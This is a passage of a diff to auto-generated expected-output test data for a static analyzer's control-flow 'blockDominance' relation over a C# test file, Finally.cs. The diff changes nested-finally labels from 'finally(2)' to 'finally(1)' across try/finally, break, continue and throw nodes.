Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:93:31:93:45 | object creation of type Exception | -| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | +| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break] {...} | -| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | +| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: continue] {...} | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | {...} | | Finally.cs:84:21:84:29 | continue; | Finally.cs:84:21:84:29 | continue; | | Finally.cs:84:21:84:29 | continue; | Finally.cs:93:25:93:46 | [finally: continue] throw ...; | | Finally.cs:84:21:84:29 | continue; | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | -| Finally.cs:84:21:84:29 | continue; | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | +| Finally.cs:84:21:84:29 | continue; | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | | Finally.cs:84:21:84:29 | continue; | Finally.cs:96:17:98:17 | [finally: continue] {...} | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:85:17:86:26 | if (...) ... | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:86:21:86:26 | break; | @@ -10224,19 +10224,19 @@ blockDominance | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:93:25:93:46 | throw ...; | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:93:31:93:45 | object creation of type Exception | -| Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | +| Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break] {...} | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | {...} | | Finally.cs:86:21:86:26 | break; | Finally.cs:86:21:86:26 | break; | | Finally.cs:86:21:86:26 | break; | Finally.cs:93:25:93:46 | [finally: break] throw ...; | | Finally.cs:86:21:86:26 | break; | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | -| Finally.cs:86:21:86:26 | break; | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | +| Finally.cs:86:21:86:26 | break; | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | | Finally.cs:86:21:86:26 | break; | Finally.cs:96:17:98:17 | [finally: break] {...} | | Finally.cs:89:13:99:13 | {...} | Finally.cs:89:13:99:13 | {...} | | Finally.cs:89:13:99:13 | {...} | Finally.cs:93:25:93:46 | throw ...; | | Finally.cs:89:13:99:13 | {...} | Finally.cs:93:31:93:45 | object creation of type Exception | -| Finally.cs:89:13:99:13 | {...} | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | +| Finally.cs:89:13:99:13 | {...} | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | | Finally.cs:89:13:99:13 | {...} | Finally.cs:96:17:98:17 | {...} | | Finally.cs:93:25:93:46 | [finally: break] throw ...; | Finally.cs:93:25:93:46 | [finally: break] throw ...; | | Finally.cs:93:25:93:46 | [finally: continue] throw ...; | Finally.cs:93:25:93:46 | [finally: continue] throw ...; | @@ -10244,22 +10244,22 @@ blockDominance | Finally.cs:93:25:93:46 | throw ...; | Finally.cs:93:25:93:46 | throw ...; | | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | Finally.cs:93:25:93:46 | [finally: break] throw ...; | | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | -| Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | +| Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:93:25:93:46 | [finally: continue] throw ...; | | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | -| Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | +| Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:93:25:93:46 | [finally: return] throw ...; | | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | -| Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | +| Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | | Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:93:25:93:46 | throw ...; | | Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:93:31:93:45 | object creation of type Exception | -| Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | +| Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | | Finally.cs:96:17:98:17 | [finally: break] {...} | Finally.cs:96:17:98:17 | [finally: break] {...} | -| Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | +| Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | | Finally.cs:96:17:98:17 | [finally: continue] {...} | Finally.cs:96:17:98:17 | [finally: continue] {...} | -| Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | +| Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | | Finally.cs:96:17:98:17 | [finally: return] {...} | Finally.cs:96:17:98:17 | [finally: return] {...} | | Finally.cs:96:17:98:17 | {...} | Finally.cs:96:17:98:17 | {...} | | Finally.cs:103:10:103:11 | enter M5 | Finally.cs:103:10:103:11 | enter M5 | @@ -10811,19 +10811,19 @@ blockDominance | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:205:31:205:46 | object creation of type ExceptionB | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | {...} | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | object creation of type ExceptionC | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:211:13:211:29 | ...; | @@ -10834,10 +10834,10 @@ blockDominance | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:199:21:199:43 | throw ...; | | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | -| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | -| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:199:21:199:43 | throw ...; | @@ -10847,79 +10847,79 @@ blockDominance | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | -| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | -| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | -| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | -| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | -| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | -| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | | Finally.cs:202:9:212:9 | {...} | Finally.cs:202:9:212:9 | {...} | | Finally.cs:202:9:212:9 | {...} | Finally.cs:205:25:205:47 | throw ...; | | Finally.cs:202:9:212:9 | {...} | Finally.cs:205:31:205:46 | object creation of type ExceptionB | -| Finally.cs:202:9:212:9 | {...} | Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | +| Finally.cs:202:9:212:9 | {...} | Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | | Finally.cs:202:9:212:9 | {...} | Finally.cs:208:13:210:13 | {...} | -| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:202:9:212:9 | {...} | Finally.cs:209:31:209:46 | object creation of type ExceptionC | | Finally.cs:202:9:212:9 | {...} | Finally.cs:211:13:211:29 | ...; | | Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | -| Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | -| Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:205:25:205:47 | throw ...; | Finally.cs:205:25:205:47 | throw ...; | -| Finally.cs:205:25:205:47 | throw ...; | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:205:25:205:47 | throw ...; | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | -| Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | -| Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | +| Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | -| Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | -| Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | +| Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:205:25:205:47 | throw ...; | | Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:205:31:205:46 | object creation of type ExceptionB | -| Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | -| Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | -| Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | -| Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | +| Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | +| Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | | Finally.cs:208:13:210:13 | {...} | Finally.cs:208:13:210:13 | {...} | | Finally.cs:208:13:210:13 | {...} | Finally.cs:209:31:209:46 | object creation of type ExceptionC | | Finally.cs:208:13:210:13 | {...} | Finally.cs:211:13:211:29 | ...; | -| Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | +| 